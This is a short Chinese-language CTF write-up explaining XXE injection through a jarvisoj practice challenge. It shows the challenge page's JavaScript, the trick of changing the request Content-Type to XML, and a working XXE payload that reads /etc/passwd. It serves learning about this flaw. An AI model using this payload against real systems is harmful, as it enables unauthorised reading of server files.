XXE初探

XXE初探最近经常看到XXE出没,以为是最近才出现的一种类型,后来发现14年,乌云上面就有好多的案例,实在是我太lo了~@Time:2018/11/15在jarvisoj上面有着一道xxe的练习题,感兴趣的大佬可以去玩玩https://www.jarvisoj.com/challenges在写题之前,我们先科普一下,什么是xxe?xxe是xml外部实体注入,这里有一段xml的解释XM…

大家好,又见面了,我是你们的朋友全栈君。

最近经常看到XXE出没,以为是最近才出现的一种类型,后来发现14年,乌云上面就有好多的案例,实在是我太lo了~

@Time:2018/11/15

在 jarvisoj 上面有着一道xxe的练习题,感兴趣的大佬可以去玩玩 https://www.jarvisoj.com/challenges

在写题之前,我们先科普一下,什么是xxe?xxe是 xml外部实体注入,这里有一段xml的解释

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

关于xml以及xxe的知识在这位大佬的博客讲的很清楚 https://www.cnblogs.com/r00tuser/p/7255939.html

我们的xxe注入的地方就在于xml的DTD(文档类型定义),xml格式如下

<?xml version="1.0"?>
<!DOCTYPE task [
  <!ENTITY search SYSTEM "/etc/passwd">
]>
<task>&search;</task>

jarvisoj的例题来更好地说明一下:

进入的页面是这个

XXE初探

我们可以在源代码里面看到如下代码

<script>
function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>

看到了xml的字样,猜测可能有xxe(没有也不会放在这里啦 :))

可以抓个包看看,是在提交json数据,但是我们可以改成xml

XXE初探

第一步,也是最重要的一步,就是把content-type改成xml

XXE初探

之后就post我们上面写的xml了,就能拿到flag

XXE初探

其中的 <!DOCTYPE> 是定义实体,&search 是引用实体,我们还可以通过这个拿到 /etc/passwd :)

XXE初探

END :)

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/142421.html原文链接:https://javaforall.net

(0)
上一篇 2022年5月10日 下午1:00
下一篇 2022年5月10日 下午1:00


相关推荐

  • 2014ACM/ICPC亚洲区域赛牡丹江站现场赛-K ( ZOJ 3829 ) Known Notation

    2014ACM/ICPC亚洲区域赛牡丹江站现场赛-K ( ZOJ 3829 ) Known Notation

    2021年12月15日
    50
  • pycharm缩进设置_wps首行缩进快捷键

    pycharm缩进设置_wps首行缩进快捷键1、pycharm使多行代码同时缩进鼠标选中多行代码后,按下Tab键,一次缩进四个字符2、pycharm使多行代码同时左移鼠标选中多行代码后,同时按住shift+Tab键,一次左移四个字符Python语言是一款对缩进非常敏感的语言,给很多初学者带来了困惑,即便是很有经验的Python程序员,也可能陷入陷阱当中。最常见的情况是tab和空格的混用会导致错误,或者缩进不对,而这是用肉眼无法分别的…

    2022年8月25日
    11
  • VLAN技术_vlan的基本概念、作用和实现原理

    VLAN技术_vlan的基本概念、作用和实现原理本文首次发布于MlinBlog、简书、CSDN,作者@木林(Mlin),转载请保留原文链接。前言正文一、VLAN基本概念1VLAN概述2VLAN帧格式3VLAN链路类型4PVID5VLAN端口类型5.1Access端口5.2Trunk端口5.3Hybrid端口6VLAN划分6.1VLAN划分方法6.2VLAN划分匹配优先级…

    2022年8月10日
    9
  • 48亿估值敲定新融资之际 月之暗面总裁张予彤现身达沃斯

    48亿估值敲定新融资之际 月之暗面总裁张予彤现身达沃斯

    2026年3月12日
    2
  • Mac Tensorflow Pycharm安装

    Mac Tensorflow Pycharm安装Python3.6,PyCharm2020.3.3anaconda旧版本下载地址及与python各版本对应关系anaconda旧版本下载地址及与python各版本对应关系_heivy的博客-CSDN博客_anaconda旧版本anaconda老版本下载的方法anaconda老版本下载的方法_weixin_33759269的博客-CSDN博客安装参考:基于mac系统的TensorFlow安装以及pycharm配置-简书参考上述链接安装完毕后:…

    2022年8月26日
    6
  • 高精度快速阶乘算法

    高精度快速阶乘算法    我在业余时间开发了一套《超大整数完全精度快速算法库》HugeCalc,可快速计算超大整数的加、减、乘、除(商/余)、乘方、开方,也可快速计算大数的Fibonacci数列、(双)阶乘、排列、组合等,还可完成超大整数数组的最大公约数、最小公倍数等数论运算,现在,该套软件已被华军、天空、电脑之家、天天等下载站点收录。    自在网上公开以来,广受网友关注,经常有网友来联系,想交流一些算法心

    2022年7月24日
    12

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号